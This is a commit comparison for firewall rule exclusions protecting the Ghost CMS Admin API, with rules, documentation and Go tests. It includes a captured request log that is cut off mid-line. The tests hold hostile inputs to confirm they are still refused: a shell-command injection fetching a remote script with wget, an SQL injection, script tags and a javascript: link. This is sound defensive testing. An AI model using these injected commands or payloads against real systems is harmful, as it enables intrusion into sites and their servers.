Compare commits
3
Commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
8e85d12e04 | ||
|
|
c4bf76c966 | ||
|
|
aaa9719f02 |
No files matched your search
@@ -1773,6 +1773,10 @@ member. A staff user's address skips them too: `username` when signing in, and
|
|||||||
`email` when creating the first staff user, asking for a password reset or
|
`email` when creating the first staff user, asking for a password reset or
|
||||||
saving a profile.
|
saving a profile.
|
||||||
|
|
||||||
|
The `canonical_url` of a post or a page skips 930120 and 932120, as `url` does.
|
||||||
|
A post's skips them under `/ghost/api/admin/posts/`, and a page's under
|
||||||
|
`/ghost/api/admin/pages/`.
|
||||||
|
|
||||||
The articles carry HTML on purpose. These fields on the Admin API hold them:
|
The articles carry HTML on purpose. These fields on the Admin API hold them:
|
||||||
|
|
||||||
- `lexical`, which the editor saves, and `mobiledoc` and `html`, which
|
- `lexical`, which the editor saves, and `mobiledoc` and `html`, which
|
||||||
@@ -1800,11 +1804,20 @@ Code injection skips these rules:
|
|||||||
- 921130, 941100, 941160 and 941270, which refused `<meta>` and `<link>`
|
- 921130, 941100, 941160 and 941270, which refused `<meta>` and `<link>`
|
||||||
elements.
|
elements.
|
||||||
|
|
||||||
`<script>alert(1)</script>` and `javascript:alert(1)` are still refused in the
|
A `<script>` element skips 941110 in posts, pages and code injection, so an HTML
|
||||||
articles and code injection (941110, 941170 and 941210). Path traversal and SQL
|
card can embed a widget and code injection can load analytics. These are the
|
||||||
injection are still refused in every field above. Script injection is too,
|
fields, on the Admin API:
|
||||||
outside the articles. `; wget http://example.com/x.sh` is still refused in the
|
|
||||||
query fields, the plain text and the addresses.
|
- `lexical`, `mobiledoc` and `html` of posts and pages;
|
||||||
|
- `codeinjection_head` and `codeinjection_foot` of posts and pages;
|
||||||
|
- `value` of settings.
|
||||||
|
|
||||||
|
`<script>alert(1)</script>` is still refused in snippets and newsletters.
|
||||||
|
`javascript:alert(1)` is still refused in the articles and code injection
|
||||||
|
(941170 and 941210). Path traversal and SQL injection are still refused in every
|
||||||
|
field above. Script injection is too, outside the articles and code injection.
|
||||||
|
`; wget http://example.com/x.sh` is still refused in the query fields, the plain
|
||||||
|
text, the addresses and the canonical URLs.
|
||||||
|
|
||||||
Coraza names a staff user's `profile_image` field `json.users.0.profile_image`.
|
Coraza names a staff user's `profile_image` field `json.users.0.profile_image`.
|
||||||
That name holds `.profile`, a file on the list of system files, so the name
|
That name holds `.profile`, a file on the list of system files, so the name
|
||||||
|
|||||||
@@ -153,8 +153,8 @@ SecRule REQUEST_FILENAME "@rx ^/ghost/api/admin/users/[0-9a-f]{24}/$" \
|
|||||||
# snippets.<n>.lexical and snippets.<n>.mobiledoc, a part of a post saved for
|
# snippets.<n>.lexical and snippets.<n>.mobiledoc, a part of a post saved for
|
||||||
# reuse
|
# reuse
|
||||||
# newsletters.<n>.footer_content, the footer of a newsletter
|
# newsletters.<n>.footer_content, the footer of a newsletter
|
||||||
# A <script> element (941110) and a javascript: link (941170, 941210) are still
|
# A javascript: link (941170, 941210) is still refused in them. A <script>
|
||||||
# refused in them.
|
# element (941110) passes only in posts and pages, by 900366.
|
||||||
SecRule REQUEST_FILENAME "@beginsWith /ghost/api/admin/" \
|
SecRule REQUEST_FILENAME "@beginsWith /ghost/api/admin/" \
|
||||||
"id:900355,phase:1,pass,nolog,chain"
|
"id:900355,phase:1,pass,nolog,chain"
|
||||||
SecRule &ARGS_GET:/^json\.(?:(?:posts|pages)\.\d+\.(?:lexical|mobiledoc|html)|snippets\.\d+\.(?:lexical|mobiledoc)|newsletters\.\d+\.footer_content)$/ "@eq 0" \
|
SecRule &ARGS_GET:/^json\.(?:(?:posts|pages)\.\d+\.(?:lexical|mobiledoc|html)|snippets\.\d+\.(?:lexical|mobiledoc)|newsletters\.\d+\.footer_content)$/ "@eq 0" \
|
||||||
@@ -184,7 +184,8 @@ SecRule REQUEST_FILENAME "@beginsWith /ghost/api/admin/" \
|
|||||||
# These fields hold it, and skip the rules anywhere on the Admin API:
|
# These fields hold it, and skip the rules anywhere on the Admin API:
|
||||||
# posts.<n>.codeinjection_head and _foot, and the same fields of pages
|
# posts.<n>.codeinjection_head and _foot, and the same fields of pages
|
||||||
# settings.<n>.value, the value of a setting
|
# settings.<n>.value, the value of a setting
|
||||||
# A <script> element and a javascript: link are still refused in them.
|
# A javascript: link is still refused in them, and a <script> element passes
|
||||||
|
# by 900366.
|
||||||
SecRule REQUEST_FILENAME "@beginsWith /ghost/api/admin/" \
|
SecRule REQUEST_FILENAME "@beginsWith /ghost/api/admin/" \
|
||||||
"id:900356,phase:1,pass,nolog,chain"
|
"id:900356,phase:1,pass,nolog,chain"
|
||||||
SecRule &ARGS_GET:/^json\.(?:(?:posts|pages)\.\d+\.codeinjection_(?:head|foot)|settings\.\d+\.value)$/ "@eq 0" \
|
SecRule &ARGS_GET:/^json\.(?:(?:posts|pages)\.\d+\.codeinjection_(?:head|foot)|settings\.\d+\.value)$/ "@eq 0" \
|
||||||
@@ -200,6 +201,38 @@ SecRule REQUEST_FILENAME "@beginsWith /ghost/api/admin/" \
|
|||||||
ctl:ruleRemoveTargetById=941160;ARGS:/^json\.(?:(?:posts|pages)\.\d+\.codeinjection_(?:head|foot)|settings\.\d+\.value)$/,\
|
ctl:ruleRemoveTargetById=941160;ARGS:/^json\.(?:(?:posts|pages)\.\d+\.codeinjection_(?:head|foot)|settings\.\d+\.value)$/,\
|
||||||
ctl:ruleRemoveTargetById=941270;ARGS:/^json\.(?:(?:posts|pages)\.\d+\.codeinjection_(?:head|foot)|settings\.\d+\.value)$/"
|
ctl:ruleRemoveTargetById=941270;ARGS:/^json\.(?:(?:posts|pages)\.\d+\.codeinjection_(?:head|foot)|settings\.\d+\.value)$/"
|
||||||
|
|
||||||
|
# A <script> element skips 941110 in posts, pages and code injection, on the
|
||||||
|
# Admin API, which refused:
|
||||||
|
# an HTML card that embeds a widget with its script
|
||||||
|
# code injection that loads analytics,
|
||||||
|
# <script defer src="https://analytics.example.com/script.js"></script>
|
||||||
|
# These fields take a <script> element on purpose:
|
||||||
|
# posts.<n>.lexical, mobiledoc and html, and the same fields of pages
|
||||||
|
# posts.<n>.codeinjection_head and _foot, and the same fields of pages
|
||||||
|
# settings.<n>.value, the value of a setting
|
||||||
|
# Snippets and a newsletter's footer still refuse it.
|
||||||
|
SecRule REQUEST_FILENAME "@beginsWith /ghost/api/admin/" \
|
||||||
|
"id:900366,phase:1,pass,nolog,chain"
|
||||||
|
SecRule &ARGS_GET:/^json\.(?:(?:posts|pages)\.\d+\.(?:lexical|mobiledoc|html|codeinjection_(?:head|foot))|settings\.\d+\.value)$/ "@eq 0" \
|
||||||
|
"ctl:ruleRemoveTargetById=941110;ARGS:/^json\.(?:(?:posts|pages)\.\d+\.(?:lexical|mobiledoc|html|codeinjection_(?:head|foot))|settings\.\d+\.value)$/"
|
||||||
|
|
||||||
|
# The canonical URL of a post or a page skips the two rules that url skips:
|
||||||
|
# 930120: https://example.com/blog/.htaccess/
|
||||||
|
# 932120: https://example.com/blog/powershell/
|
||||||
|
# Each of these fields skips them only on its own path:
|
||||||
|
# posts.<n>.canonical_url, under /ghost/api/admin/posts/
|
||||||
|
# pages.<n>.canonical_url, under /ghost/api/admin/pages/
|
||||||
|
SecRule REQUEST_FILENAME "@beginsWith /ghost/api/admin/posts/" \
|
||||||
|
"id:900383,phase:1,pass,nolog,chain"
|
||||||
|
SecRule &ARGS_GET:/^json\.posts\.\d+\.canonical_url$/ "@eq 0" \
|
||||||
|
"ctl:ruleRemoveTargetById=930120;ARGS:/^json\.posts\.\d+\.canonical_url$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932120;ARGS:/^json\.posts\.\d+\.canonical_url$/"
|
||||||
|
SecRule REQUEST_FILENAME "@beginsWith /ghost/api/admin/pages/" \
|
||||||
|
"id:900384,phase:1,pass,nolog,chain"
|
||||||
|
SecRule &ARGS_GET:/^json\.pages\.\d+\.canonical_url$/ "@eq 0" \
|
||||||
|
"ctl:ruleRemoveTargetById=930120;ARGS:/^json\.pages\.\d+\.canonical_url$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932120;ARGS:/^json\.pages\.\d+\.canonical_url$/"
|
||||||
|
|
||||||
# Saving a staff user's profile sends the field profile_image, whose name holds
|
# Saving a staff user's profile sends the field profile_image, whose name holds
|
||||||
# .profile, a file the list of system files names (930120).
|
# .profile, a file the list of system files names (930120).
|
||||||
SecRule REQUEST_FILENAME "@rx ^/ghost/api/admin/users/[0-9a-f]{24}/$" \
|
SecRule REQUEST_FILENAME "@rx ^/ghost/api/admin/users/[0-9a-f]{24}/$" \
|
||||||
|
|||||||
@@ -143,10 +143,21 @@ var ghostAddressFields = []ghostField{
|
|||||||
{http.MethodPut, ghostUser, `{"users":[{"email":"VALUE"}]}`},
|
{http.MethodPut, ghostUser, `{"users":[{"email":"VALUE"}]}`},
|
||||||
}
|
}
|
||||||
|
|
||||||
// ghostArticleFields hold an article and skip the rules of 900355.
|
// ghostCanonicalURLFields hold the canonical URL of a post or a page, and skip
|
||||||
|
// 930120 and 932120, as url does.
|
||||||
//
|
//
|
||||||
//nolint:gochecknoglobals // a constant cannot be a list
|
//nolint:gochecknoglobals // a constant cannot be a list
|
||||||
var ghostArticleFields = []ghostField{
|
var ghostCanonicalURLFields = []ghostField{
|
||||||
|
{http.MethodPut, ghostPost, `{"posts":[{"canonical_url":"VALUE"}]}`},
|
||||||
|
{http.MethodPost, ghostPosts, `{"posts":[{"canonical_url":"VALUE"}]}`},
|
||||||
|
{http.MethodPut, ghostPage, `{"pages":[{"canonical_url":"VALUE"}]}`},
|
||||||
|
}
|
||||||
|
|
||||||
|
// ghostPostFields hold a post or a page, skip the rules of 900355, and take a
|
||||||
|
// <script> element by 900366.
|
||||||
|
//
|
||||||
|
//nolint:gochecknoglobals // a constant cannot be a list
|
||||||
|
var ghostPostFields = []ghostField{
|
||||||
{http.MethodPut, ghostPost, `{"posts":[{"lexical":"VALUE"}]}`},
|
{http.MethodPut, ghostPost, `{"posts":[{"lexical":"VALUE"}]}`},
|
||||||
{http.MethodPut, ghostPage, `{"pages":[{"lexical":"VALUE"}]}`},
|
{http.MethodPut, ghostPage, `{"pages":[{"lexical":"VALUE"}]}`},
|
||||||
{
|
{
|
||||||
@@ -155,6 +166,13 @@ var ghostArticleFields = []ghostField{
|
|||||||
`{"posts":[{"html":"VALUE"}]}`,
|
`{"posts":[{"html":"VALUE"}]}`,
|
||||||
},
|
},
|
||||||
{http.MethodPost, ghostPosts, `{"posts":[{"mobiledoc":"VALUE"}]}`},
|
{http.MethodPost, ghostPosts, `{"posts":[{"mobiledoc":"VALUE"}]}`},
|
||||||
|
}
|
||||||
|
|
||||||
|
// ghostSnippetAndNewsletterFooterFields hold a snippet or a newsletter's
|
||||||
|
// footer, skip the rules of 900355, and still refuse a <script> element.
|
||||||
|
//
|
||||||
|
//nolint:gochecknoglobals // a constant cannot be a list
|
||||||
|
var ghostSnippetAndNewsletterFooterFields = []ghostField{
|
||||||
{
|
{
|
||||||
http.MethodPost,
|
http.MethodPost,
|
||||||
"/ghost/api/admin/snippets/",
|
"/ghost/api/admin/snippets/",
|
||||||
@@ -167,8 +185,16 @@ var ghostArticleFields = []ghostField{
|
|||||||
},
|
},
|
||||||
}
|
}
|
||||||
|
|
||||||
// ghostCodeFields hold code injection or a setting and skip the rules of
|
// ghostArticleFields hold an article and skip the rules of 900355.
|
||||||
// 900356.
|
//
|
||||||
|
//nolint:gochecknoglobals // a constant cannot be a list
|
||||||
|
var ghostArticleFields = slices.Concat(
|
||||||
|
ghostPostFields,
|
||||||
|
ghostSnippetAndNewsletterFooterFields,
|
||||||
|
)
|
||||||
|
|
||||||
|
// ghostCodeFields hold code injection or a setting, skip the rules of 900356,
|
||||||
|
// and take a <script> element by 900366.
|
||||||
//
|
//
|
||||||
//nolint:gochecknoglobals // a constant cannot be a list
|
//nolint:gochecknoglobals // a constant cannot be a list
|
||||||
var ghostCodeFields = []ghostField{
|
var ghostCodeFields = []ghostField{
|
||||||
@@ -204,13 +230,16 @@ var ghostQueryFields = []string{
|
|||||||
ghostAdminFilter, ghostContentFilter, ghostSearch, ghostEmbed,
|
ghostAdminFilter, ghostContentFilter, ghostSearch, ghostEmbed,
|
||||||
}
|
}
|
||||||
|
|
||||||
// ghostURLs are addresses 930120 and 932120 refused in url.
|
// ghostURLs are addresses 930120 and 932120 refused in url and in a canonical
|
||||||
|
// URL.
|
||||||
//
|
//
|
||||||
//nolint:gochecknoglobals // a constant cannot be a list
|
//nolint:gochecknoglobals // a constant cannot be a list
|
||||||
var ghostURLs = []string{
|
var ghostURLs = []string{
|
||||||
"https://github.com/example/site/blob/main/.htaccess",
|
"https://github.com/example/site/blob/main/.htaccess",
|
||||||
"https://example.com/blog/powershell-tips?ref=ghost",
|
"https://example.com/blog/powershell-tips?ref=ghost",
|
||||||
"https://example.com/docs/python3/",
|
"https://example.com/docs/python3/",
|
||||||
|
"https://example.com/blog/powershell/",
|
||||||
|
"https://example.com/blog/.htaccess/",
|
||||||
}
|
}
|
||||||
|
|
||||||
// ghostAddresses are addresses 930120, 932120 and 932260 refused.
|
// ghostAddresses are addresses 930120, 932120 and 932260 refused.
|
||||||
@@ -311,6 +340,10 @@ func TestGhostOrdinaryValuesPassInTheExcludedFields(t *testing.T) {
|
|||||||
|
|
||||||
for _, address := range ghostURLs {
|
for _, address := range ghostURLs {
|
||||||
wantGhostQuery(t, ghostEmbed+url.QueryEscape(address), false)
|
wantGhostQuery(t, ghostEmbed+url.QueryEscape(address), false)
|
||||||
|
|
||||||
|
for _, f := range ghostCanonicalURLFields {
|
||||||
|
wantGhostField(t, f, address, false)
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
for _, address := range ghostAddresses {
|
for _, address := range ghostAddresses {
|
||||||
@@ -335,11 +368,41 @@ func TestGhostOrdinaryValuesPassInTheExcludedFields(t *testing.T) {
|
|||||||
url.QueryEscape("label:[powershell-users]+name:~'ls -la'"), false)
|
url.QueryEscape("label:[powershell-users]+name:~'ls -la'"), false)
|
||||||
}
|
}
|
||||||
|
|
||||||
// ghostAttacks are an SQL injection, a path traversal and a script
|
// ghostWidget is an HTML card that embeds a widget with its script.
|
||||||
// injection, not escaped.
|
const ghostWidget = `<div id="signup"></div>` +
|
||||||
|
`<script src="https://widgets.example.com/form.js" async></script>`
|
||||||
|
|
||||||
|
// ghostWidgetCard is ghostWidget as the editor saves it in lexical.
|
||||||
|
const ghostWidgetCard = `{"root":{"children":[{"type":"html","version":1,` +
|
||||||
|
`"html":"<div id=\"signup\"></div><script ` +
|
||||||
|
`src=\"https://widgets.example.com/form.js\" async></script>"}],` +
|
||||||
|
`"direction":null,"format":"","indent":0,"type":"root","version":1}}`
|
||||||
|
|
||||||
|
// ghostAnalytics is code injection that loads analytics.
|
||||||
|
const ghostAnalytics = `<script defer ` +
|
||||||
|
`src="https://analytics.example.com/script.js"></script>`
|
||||||
|
|
||||||
|
func TestGhostScriptsPassInPostsAndCodeInjection(t *testing.T) {
|
||||||
|
t.Parallel()
|
||||||
|
|
||||||
|
// An HTML card in a post, as the editor saves it, and as integrations
|
||||||
|
// send it.
|
||||||
|
wantGhostField(t, ghostPostFields[0], ghostWidgetCard, false)
|
||||||
|
|
||||||
|
for _, f := range ghostPostFields {
|
||||||
|
wantGhostField(t, f, ghostWidget, false)
|
||||||
|
}
|
||||||
|
|
||||||
|
// Site code injection, saved in settings, and a post's or a page's own.
|
||||||
|
for _, f := range ghostCodeFields {
|
||||||
|
wantGhostField(t, f, ghostAnalytics, false)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// ghostAttacks are an SQL injection and a path traversal, not escaped.
|
||||||
//
|
//
|
||||||
//nolint:gochecknoglobals // a constant cannot be a list
|
//nolint:gochecknoglobals // a constant cannot be a list
|
||||||
var ghostAttacks = []string{injection, pathTraversal, scriptTag}
|
var ghostAttacks = []string{injection, pathTraversal}
|
||||||
|
|
||||||
// commandAfterASeparator is a shell command after a ";", not escaped.
|
// commandAfterASeparator is a shell command after a ";", not escaped.
|
||||||
const commandAfterASeparator = "; wget http://example.com/x.sh"
|
const commandAfterASeparator = "; wget http://example.com/x.sh"
|
||||||
@@ -349,7 +412,7 @@ func TestGhostAttacksAreRefusedInTheExcludedFields(t *testing.T) {
|
|||||||
|
|
||||||
for _, attack := range ghostAttacks {
|
for _, attack := range ghostAttacks {
|
||||||
for _, f := range slices.Concat(ghostTextFields, ghostAddressFields,
|
for _, f := range slices.Concat(ghostTextFields, ghostAddressFields,
|
||||||
ghostArticleFields, ghostCodeFields) {
|
ghostCanonicalURLFields, ghostArticleFields, ghostCodeFields) {
|
||||||
wantGhostField(t, f, attack, true)
|
wantGhostField(t, f, attack, true)
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -358,9 +421,22 @@ func TestGhostAttacksAreRefusedInTheExcludedFields(t *testing.T) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// A script injection stays refused in every field that does not take a
|
||||||
|
// <script> element.
|
||||||
|
for _, f := range slices.Concat(ghostTextFields, ghostAddressFields,
|
||||||
|
ghostCanonicalURLFields, ghostSnippetAndNewsletterFooterFields) {
|
||||||
|
wantGhostField(t, f, scriptTag, true)
|
||||||
|
}
|
||||||
|
|
||||||
|
for _, target := range ghostQueryFields {
|
||||||
|
wantGhostQuery(t, target+url.QueryEscape(scriptTag), true)
|
||||||
|
}
|
||||||
|
|
||||||
// A command after a separator stays refused wherever its rules do not
|
// A command after a separator stays refused wherever its rules do not
|
||||||
// misfire: in the query fields, the plain text and the addresses.
|
// misfire: in the query fields, the plain text, the addresses and the
|
||||||
for _, f := range slices.Concat(ghostTextFields, ghostAddressFields) {
|
// canonical URLs.
|
||||||
|
for _, f := range slices.Concat(ghostTextFields, ghostAddressFields,
|
||||||
|
ghostCanonicalURLFields) {
|
||||||
wantGhostField(t, f, commandAfterASeparator, true)
|
wantGhostField(t, f, commandAfterASeparator, true)
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -372,13 +448,17 @@ func TestGhostAttacksAreRefusedInTheExcludedFields(t *testing.T) {
|
|||||||
)
|
)
|
||||||
}
|
}
|
||||||
|
|
||||||
// The articles and code injection carry HTML on purpose, but a script
|
// The articles and code injection carry HTML on purpose, but a
|
||||||
// element and a javascript: link are still refused there.
|
// javascript: link is still refused there, and a script element in
|
||||||
|
// snippets and a newsletter's footer.
|
||||||
for _, f := range slices.Concat(ghostArticleFields, ghostCodeFields) {
|
for _, f := range slices.Concat(ghostArticleFields, ghostCodeFields) {
|
||||||
wantGhostField(t, f, `<p>Hi</p><script src="/x.js"></script>`, true)
|
|
||||||
wantGhostField(t, f, `<a href="javascript:alert(1)">click</a>`, true)
|
wantGhostField(t, f, `<a href="javascript:alert(1)">click</a>`, true)
|
||||||
}
|
}
|
||||||
|
|
||||||
|
for _, f := range ghostSnippetAndNewsletterFooterFields {
|
||||||
|
wantGhostField(t, f, `<p>Hi</p><script src="/x.js"></script>`, true)
|
||||||
|
}
|
||||||
|
|
||||||
// An address keeps 932250, which refuses a listing of files.
|
// An address keeps 932250, which refuses a listing of files.
|
||||||
for _, f := range ghostAddressFields {
|
for _, f := range ghostAddressFields {
|
||||||
wantGhostField(t, f, "ls -la /root", true)
|
wantGhostField(t, f, "ls -la /root", true)
|
||||||
@@ -401,6 +481,8 @@ func TestGhostExclusionsAreNarrow(t *testing.T) {
|
|||||||
setupEmail = `{"setup":[{"email":"python3.dev@example.com"}]}`
|
setupEmail = `{"setup":[{"email":"python3.dev@example.com"}]}`
|
||||||
passwordResetEmail = `{"password_reset":[{"email":"python3.dev@example.com"}]}`
|
passwordResetEmail = `{"password_reset":[{"email":"python3.dev@example.com"}]}`
|
||||||
userEmail = `{"users":[{"email":"python3.dev@example.com"}]}`
|
userEmail = `{"users":[{"email":"python3.dev@example.com"}]}`
|
||||||
|
postURL = `{"posts":[{"canonical_url":"https://example.com/powershell/"}]}`
|
||||||
|
pageURL = `{"pages":[{"canonical_url":"https://example.com/powershell/"}]}`
|
||||||
)
|
)
|
||||||
|
|
||||||
for _, refused := range []struct{ target, body string }{
|
for _, refused := range []struct{ target, body string }{
|
||||||
@@ -437,6 +519,12 @@ func TestGhostExclusionsAreNarrow(t *testing.T) {
|
|||||||
{ghostPasswordReset + "?json.password_reset.0.email=x", passwordResetEmail},
|
{ghostPasswordReset + "?json.password_reset.0.email=x", passwordResetEmail},
|
||||||
{ghostPosts, userEmail},
|
{ghostPosts, userEmail},
|
||||||
{ghostUser + "?json.users.0.email=x", userEmail},
|
{ghostUser + "?json.users.0.email=x", userEmail},
|
||||||
|
{"/api/posts/1/", postURL},
|
||||||
|
{ghostMembers, postURL},
|
||||||
|
{ghostPage, postURL},
|
||||||
|
{ghostPost + "?json.posts.0.canonical_url=x", postURL},
|
||||||
|
{ghostPost, pageURL},
|
||||||
|
{ghostPage + "?json.pages.0.canonical_url=x", pageURL},
|
||||||
{ghostSession, `{"username":"x","pass":"' OR '1'='1"}`},
|
{ghostSession, `{"username":"x","pass":"' OR '1'='1"}`},
|
||||||
{"/ghost/api/admin/users/me/", `{"password":"' OR '1'='1"}`},
|
{"/ghost/api/admin/users/me/", `{"password":"' OR '1'='1"}`},
|
||||||
{"/ghost/api/admin/posts/1/", `{"users":[{"profile_image":null}]}`},
|
{"/ghost/api/admin/posts/1/", `{"users":[{"profile_image":null}]}`},
|
||||||
@@ -459,6 +547,44 @@ func TestGhostExclusionsAreNarrow(t *testing.T) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
func TestGhostScriptExclusionIsNarrow(t *testing.T) {
|
||||||
|
t.Parallel()
|
||||||
|
|
||||||
|
crs := readingBodies(t)
|
||||||
|
|
||||||
|
// A <script> element keeps 941110 off the Admin API, in fields that do
|
||||||
|
// not take one, and when the query has a field of the same name. 941100
|
||||||
|
// and 941160 refuse each request too, so the test looks for 941110
|
||||||
|
// itself.
|
||||||
|
const (
|
||||||
|
script = `<script defer src=\"/script.js\"></script>`
|
||||||
|
scriptInPost = `{"posts":[{"lexical":"` + script + `"}]}`
|
||||||
|
scriptInSettings = `{"settings":[{"value":"` + script + `"}]}`
|
||||||
|
)
|
||||||
|
|
||||||
|
for _, refused := range []struct{ target, body string }{
|
||||||
|
{"/ghost/api/content/posts/", scriptInPost},
|
||||||
|
{ghostPosts + "?json.posts.0.lexical=x", scriptInPost},
|
||||||
|
{ghostPosts, `{"posts":[{"feature_image_caption":"` + script + `"}]}`},
|
||||||
|
{"/ghost/api/admin/users/me/", `{"users":[{"bio":"` + script + `"}]}`},
|
||||||
|
{"/api/settings/", scriptInSettings},
|
||||||
|
{ghostSettings + "?json.settings.0.value=x", scriptInSettings},
|
||||||
|
} {
|
||||||
|
r := request{http.MethodPut, refused.target, []string{jsonBody}}
|
||||||
|
|
||||||
|
got, _ := inspectBody(t, crs, r, refused.body)
|
||||||
|
if got.Score < ghostThreshold ||
|
||||||
|
!slices.Contains(got.RuleIDs, 941110) {
|
||||||
|
t.Errorf(
|
||||||
|
"PUT %s %s: %+v, want 941110 among them",
|
||||||
|
refused.target,
|
||||||
|
refused.body,
|
||||||
|
got,
|
||||||
|
)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
func TestGhostQueryExclusionsAreNarrow(t *testing.T) {
|
func TestGhostQueryExclusionsAreNarrow(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
|
|||||||
@@ -533,6 +533,8 @@
|
|||||||
{"method": "GET", "target": "/ghost/api/admin/pages/6af45d34d281b00001a599a0/?formats=mobiledoc%2Clexical&include=tags%2Cauthors%2Cauthors.roles%2Cemail%2Ctiers%2Cnewsletter%2Ccount.clicks%2Cpost_revisions%2Cpost_revisions.author", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
{"method": "GET", "target": "/ghost/api/admin/pages/6af45d34d281b00001a599a0/?formats=mobiledoc%2Clexical&include=tags%2Cauthors%2Cauthors.roles%2Cemail%2Ctiers%2Cnewsletter%2Ccount.clicks%2Cpost_revisions%2Cpost_revisions.author", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
||||||
{"method": "PUT", "target": "/ghost/api/admin/pages/6af45d34d281b00001a599a0/?formats=mobiledoc%2Clexical&include=tags%2Cauthors%2Cauthors.roles%2Cemail%2Ctiers%2Cnewsletter%2Ccount.clicks%2Cpost_revisions%2Cpost_revisions.author", "headers": ["Host: example.com", "Content-Length: 3980", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": "{\"pages\":[{\"title\":\"About: python3, powershell & .htaccess\",\"slug\":\"about-python3-powershell-htaccess\",\"lexical\":\"{\\\"root\\\":{\\\"children\\\":[{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Who writes here, and why.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"About this site\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h2\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Notes on \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":1,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"python3\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\", \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":2,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"powershell\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" and the shell. Start with \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":16,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"ls -la ~/.ssh\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" and read \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"the .htaccess primer\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"link\\\",\\\"version\\\":1,\\\"rel\\\":null,\\\"target\\\":null,\\\"title\\\":null,\\\"url\\\":\\\"https://example.com/htaccess\\\"},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\".\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"Get-ChildItem -Force | Where-Object { $_.Name -like 